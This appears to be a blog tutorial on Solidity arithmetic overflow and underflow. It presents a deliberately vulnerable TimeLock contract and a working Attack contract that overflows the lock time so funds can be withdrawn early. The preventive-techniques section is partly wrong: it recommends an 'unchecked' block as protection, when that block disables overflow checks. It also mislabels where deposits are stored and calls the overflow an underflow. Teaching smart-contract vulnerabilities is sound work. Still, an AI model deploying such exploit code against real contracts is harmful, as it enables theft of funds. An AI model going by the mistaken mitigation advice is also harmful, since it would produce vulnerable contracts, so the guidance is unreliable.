Solidity Attack Vectors #2 - Arithmetic Overflow and Underflow

Solidity Attack Vectors #2 - Arithmetic Overflow and Underflow

Overflow

Overflow is a state uint (unsigned integer) reaches its maximum value, and the next element added will return the default value. uint8 can hold values within the range(0, 255), if the value of an arithmetic operation becomes greater than 255, the value is set to zero which is an incorrect calculation.

Underflow

Underflow is a state uint (unsigned integer) reaches its minimum value, and the next element subtracted will return the maximum byte size. uint8 can hold values within the range(0, 255), if the value of an arithmetic operation becomes lesser than 0, the value is set to 255 which is an incorrect calculation.

In the TimeLock contract below, you can deposit funds into the contract, but you can only withdraw the funds after a week has passed. The lock time can also be increased by increaseLockTime function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

The funds deposited are stored in the locktime array. To exploit this contract, the attacker has to bypass the check for the lockTime period of the user.

require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

By doing this:

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();

        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

In the attack() function, the user deposit ether into the contract and calls the increaseLockTime function to cause Underflow.

type(uint).max + 1 - timeLock.lockTime(address(this));

We are subtracting the current timestamp value in the lockTime array, which after execution results in the value zero. And now, you can now withdraw your funds without any restrictions.

Preventive Techniques

  1. Use SafeMath libraries for arithmetic operations to prevent arithmetic overflow and underflow

  2. There is a new unchecked block you can wrap your variables around.

unchecked {
    myUint8--;
}
  1. Solidity ≥0.8 defaults to throwing an error for overflow/underflow. It is handled by default.

Feel free to connect with me on LinkedIn and Twitter.